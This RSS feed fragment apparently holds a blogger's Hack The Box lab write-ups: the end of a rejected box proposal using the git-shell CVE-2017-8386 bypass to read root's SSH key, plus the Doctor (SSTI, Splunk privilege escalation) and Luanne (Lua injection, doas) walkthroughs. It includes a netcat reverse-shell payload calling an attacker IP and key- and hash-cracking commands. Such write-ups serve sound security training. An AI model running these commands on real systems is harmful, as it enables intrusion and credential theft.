“GravTrack”}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*ZgQVFnnG2olSfp8db0AGLw.png" /></figure><h3>Privilege Escalation</h3><p>Linpeas will not give any exploit path. But we have a git user also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*4U1f9AVQdMg7Y5IQj69how.png" /></figure><p>The user “git” might be used specifically for managing Git repositories. This user is typically created to provide a dedicated environment for Git operations, such as hosting Git repositories or managing Git-related services.<br>To determine if the system is running Git, you can check for the presence of Git binaries or Git-related services.</p><p><strong><em>Command: —</em></strong> $ git — version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*K4jk1PG4OUeg_HZ86jSYxg.png" /></figure><p>We have to do some research on Google about this git version. It’s a CVE-2017–8386</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIV9zcq_TL1UVt12OLqpmQ.png" /></figure><p>A vulnerability was found in git concerning the git-shell. A user who comes over SSH could run an interactive pager by causing it to spawn “git-receive -pack — -help”. Git-shell leads to arbitrary file reading and possibly arbitrary command execution vulnerabilities.</p><p>Git-shell only allows the execution of the following three commands by default: <br>git-receive-pack &lt;argument&gt; <br>git-upload-pack &lt;argument&gt;<br>git-upload-archive &lt;argument&gt;</p><p>We can run a ssh command on the git user. Port 22 is open on the local server. It is not accessible remotely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wxkJ9EEWgGVc3BInvPn2TA.png" /></figure><p>When we tried to connect the git user using the ssh command. The connection was closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*mF0LB3UsJWnP-p7Y4IxEoA.png" /></figure><p>But if we run the ssh command with git-shell arguments.<br><strong><em>Command: —</em></strong> $ ssh -t git@127.0.0.1 “git-receive-pack ‘ — help’”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*ddOBqcOgKI8v66Bv-XotNg.png" /></figure><p>The following part of the command, “git-receive-pack ‘ — help’”, is a command that is executed on the server. The reason this command can help bypass restrictions is related to the behavior of the “git-receive-pack” command when executed with the “ — help” option. On most systems, when a command is executed with “ — help”, it typically displays the manual or help page for that command.</p><p>In this case, the “git-receive-pack” command is being executed with “ — help” as an argument. The behavior of Git is to render the help page using ANSI formatting and pipe it into a pager, such as “less”. This allows the user to scroll through the help page, search for specific keywords, and navigate the content independent of their terminal size and capabilities.</p><p>We can read the /etc/passwd file. According to the exploit we have to Press “shift+e” to read any file. But we are in the non-interactive shell so we will use the “Examine:” command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*Wq73qcqmYyg8U8HrXxCFEg.png" /></figure><p><strong><em>Reference: —</em></strong><br><a href="https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/">https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/</a> <br><a href="https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html">https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html</a></p><p>Misconfigured permission of the root directory. The root user has full read, write, and execute permissions, while the git group has read and execute permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*SkaBaaWqkFYxHSCEb2yDrw.png" /></figure><p>It means the git user can see the files of the root user. We tried to read the flag but we got access denied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*NtQL6WW2bthyT8kfDE3J7Q.png" /></figure><p>We can access the root user ssh key. Dump private key. Press ENTER command a few times to see the full key. <br><strong><em>Command: —</em></strong> $ Examine: /root/.ssh/id_rsa</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*hzj6sKavkGtYCfYlA_g84w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*LX5zj4ABc4TETgpT2DFMpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*Y_LmGWQZWwGsS6Sl_Tcrxg.png" /></figure><p>Crack the id_rsa key using ssh2john and john the ripper. <br><strong><em>Command: — $</em></strong> ssh2john id_rsa &gt; id_rsa.hash <br><strong><em>Command: — $</em></strong> john — wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*irGyRlW4f1C1YlHQMNZAOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*q3ahBt0neuuz8kt9hnbRtw.png" /></figure><p>Give permission to the key and do ssh on the root user. It will prompt for a password. Password we have cracked from the id_rsa key. <br><strong><em>Command: — $</em></strong> chmod 400 id_rsa <br><strong><em>Command: — $</em></strong> ssh -i id_rsa root@127.0.0.1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*eLhPxHyMg1Q6J_qK_H_2sA.png" /></figure><p>Thanks for reading.<br>Hack The Box Profile: <a href="https://app.hackthebox.com/profile/116842">https://app.hackthebox.com/profile/116842</a></p><p><strong><em>Reason of rejection:-</em></strong><br><em>Overall, our reviewers felt a bit overwhelmed by the number of steps and the technologies. It felt very CTF-like, and not realistic. The team really liked the Manits steps, and thought that could be a really nice foundation for a box. However, there are a few elements that definitely needed to be removed, including the fake login page and the old Git CVE (while it may be new to HTB, it just isn’t relevant today). Additionally, we didn’t understand why a site would have a whoami endpoint that just returned a cookie? We would recommend tightening the box up a bit, focusing on perhaps using the GravCMS vulnerability to get access to an internal Mantis instance.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=451345bb0db3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Doctor- Hack The Box]]></title>
            <link>https://medium.com/@cY83rR0H1t/doctor-hack-the-box-954339120a7f?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/954339120a7f</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Sun, 22 May 2022 12:38:31 GMT</pubDate>
            <atom:updated>2024-08-13T09:25:03.379Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*CVXQiWFE0uTX-njSTpaQwg.png" /></figure><h3>Introduction</h3><p>Doctor is an easy Linux HackTheBox level machine. In the user part, we will see the SSTI injection. We have to look at some log files to obtain the password. In the root part, we will exploit Splunk.</p><h3>Enumeration</h3><p>In the nmap we have found 3 open ports 22,80,8089.</p><p>Visiting port 80 shows that the new domain is doctors.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9f3VSkx9d-6B3VuqhUUEQw.png" /></figure><p>We have added the doctors.htb in the/etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*PK8ilC_cR8RFl5jEIchdEQ.png" /></figure><p>Here we can see the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFSuYppUyWzg0lzCez1UtA.png" /></figure><p>We have created the account to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yHOmu_vqFfu62NDIhjd0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I7M1EaskPUj3ihORtLEojQ.png" /></figure><h4>Exploit the SSTI</h4><p>We can create a new post.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vea8MSS__0B5MkDSjghAsA.png" /></figure><p>We tried a small SSTI code to check whether the application is vulnerable or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKbWvnHunvVoT9b_GlmuWQ.png" /></figure><p>In the source code, we can see that there is a directory called Archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KrMcJlXjk2ZZz6-l5Veb_Q.png" /></figure><p>We check the archive directory and we can see our SSTI injection worked perfectly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*wH1JI-ZbE3XFG50zbFJaLA.png" /></figure><p>Now it&#39;s time to gain a reverse shell. We used one linear reverse shell script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9EPtukWqFcbQ_H6PdX6DA.png" /></figure><p>We have got a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*-xFr0nepOFuklk7fUit0EA.png" /></figure><p><strong>Reference:</strong> <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection</a></p><h4>Finding Password in Logs</h4><p>After enumerating files and logs, we managed to find something interesting. In /var/log/apache2/backup, a reset password post request was made and ‘<strong>Guitar123</strong>’ was seen on the email parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYb4qkYz8r0DWwI3u7YJzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*97bdf_QoqES89ZVcpBk0dA.png" /></figure><p>Switch to Shaun&#39;s user and got the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*gRTXEFsjL2NsK8q0EiNarA.png" /></figure><h3><strong>Privilege Escalation</strong></h3><p>Run linpeas.sh reveals splunkforwarder in /opt directory. Splunk is running as a root on 8089 port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hz_aGpD46f-9PQXPEahovA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*ChdlLsJ7tEhRezoKec0Cmw.png" /></figure><pre>#Command<br>$ python <a href="https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py">PySplunkWhisperer2_remote.py</a> --host 10.10.10.209 --lhost 10.10.14.59 --username shaun --password Guitar123 --payload &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.59 443 &gt;/tmp/f&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ASXk8TpuEByhZDS7_2R-DA.png" /></figure><p>Reference: <a href="https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2">https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2</a></p><p>We got a root reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*rtBGjiTgeqiq5BRRNac-0w.png" /></figure><p>Thanks for reading.<br>Hack The Box Profile: <a href="https://app.hackthebox.com/profile/116842">https://app.hackthebox.com/profile/116842</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0Z_K7zkpbVTj32DR5jdKA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=954339120a7f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Luanne- Hack the Box]]></title>
            <link>https://medium.com/@cY83rR0H1t/htb-luanne-3ecb9be340d4?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ecb9be340d4</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Sun, 22 May 2022 12:01:05 GMT</pubDate>
            <atom:updated>2022-05-22T12:04:25.270Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*ialtJNLFUiFJIi6noSdkgA.png" /></figure><h3>Summary</h3><p>Luanne was the first NetBSD box on Hack The Box. Fuzzing landed us to Lua code injection to get a shell. We will get credentials for a webserver listening on localhost and find an SSH key hosted there to get to the second user. In the privilege escalation. Using<em> netpgp , </em>we can decrypt an encrypted tar backup ﬁle that contains the password for the user r.michaels, who is able to execute commands as root, using the command doas</p><h3>Scanning and Enumeration</h3><p>Only 3 ports are open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*Tm1PKJ0F7p0buDtFhSZnVQ.png" /></figure><p>Visiting on port 80. It is asking for the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*wLs88K4y-P4QKfhuq-NrIA.png" /></figure><p>Robots.txt reveals the /weather directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*umVSOs-6zcJmOZgnrleNKQ.png" /></figure><p>But the weather directory is not accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*utGiFbFH1wXuzCWgWGKmHQ.png" /></figure><p>We enumerated more via ffuf and found the forecast directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ve2m78N8v0dTb2tW1l8hwQ.png" /></figure><p>Visiting http://10.10.10.218/weather/forecast returns a raw JSON payload with a message that a city is required, and a hint on how to list them:</p><p>You can list the city names <a href="http://10.10.10.218/weather/forecast?city=list">http://10.10.10.218/weather/forecast?city<strong>=</strong>list</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*MKxsdn51q0DNZKwO1pQjrg.png" /></figure><h4>Lua code injection</h4><p>We have tried to identify the code injection by sending single quotes.</p><pre>#Command<br>$ curl -s “http://10.10.10.218/weather/forecast?city=&#39; &quot;</pre><p><strong><em>Error: </em></strong><br>&lt;br&gt;Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value</p><p>We intercepted the request in the burp suite and changed the parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*qZjaNTsxxBtM6-9HkDMHSQ.png" /></figure><p>We used one linear reverse shell script. Encoded in base64 format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*qXBa9qycIP59sF0xLObtpg.png" /></figure><p>We got a reverse shell but we can’t read the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*etfgRUlBD0ETyx3HIBvP2A.png" /></figure><p>In the home/user directory, we found .htpasswd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*qFUfnMJkrC08dre75H9-Ig.png" /></figure><p>I used a windows machine to crack the hash. We got the password <strong><em>iamthebest</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*0QGPvF6WUCwv1EzGlkgOMA.png" /></figure><p>In the home directory, we can see the username is r.michaels.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*AMLc-fichEY5lzArpuQIKA.png" /></figure><p>We ran the <strong><em>ps</em></strong> command on the shell. There was an interesting line. That shows r.michaels user was running /usr/libexec/httpd with commands.</p><p>Based on that information, it seems as if a web server is being served on port 3001:</p><pre>r.michaels   185  0.0  0.0  34996  2000 ?     Is   Sat06PM 0:00.02 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/www</pre><p>To make sure that port 3001 is running. We used netstat –an command. We can see the following output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*kEA-tAZlcsbb-oBbkeq7LQ.png" /></figure><p>We used the curl command to authenticate to the application. We retrieve the user’s private key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*KOyzYckWYkTsLforq8fakw.png" /></figure><p>We saved the key into id_rsa file and give the permission 600.</p><pre>#Command<br>$ ssh -i id_rsa r.michaels@10.10.10.218</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*MQh_rC2A4LVTol2TuufUog.png" /></figure><p>We successfully got ssh login and the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*39Pt2IxNBh9yKGdydQvtlw.png" /></figure><h3>Privilege Escalation</h3><p>We found an interesting file called devel_backup-2020–09–16.tar.gz.enc inside backups on the r.michaels directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*Q92JAAcgBTYdRje6Vj95zg.png" /></figure><p>After some google search. I found the method to crack .enc file. NetBSD use netpgp to decode .enc format file.</p><pre>Command:<br>$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*PTqgXcowgcU9RguPUVnE1A.png" /></figure><p>reference: <a href="https://man.netbsd.org/netpgp.1">https://man.netbsd.org/netpgp.1</a></p><p>Again we got the .htpasswd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*wfKv-52hQconXe_cWPtGbw.png" /></figure><p>We got another hash but this is different from the previous hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*xFIRkiEBjBBTozr3ApEPQg.png" /></figure><p>Cracked that hash in my windows machine and found the password <em>littlebear</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*gGrHoj75h-AFqhUcztiS8g.png" /></figure><p>We can’t use the sudo command to switch the user. After some google search, we found that doas is the command to switch the user.</p><p>We used the doas command and provided the password we crack (littlebear).</p><pre>#Command<br>$ doas -u root /bin/sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*GNWpwh06RrpJxy0yUvBIPQ.png" /></figure><p>Thanks for reading.<br>Hack The Box Profile: <a href="https://www.hackthebox.eu/profile/116842">https://www.hackthebox.eu/profile/116842</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0Z_K7zkpbVTj32DR5jdKA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ecb9be340d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>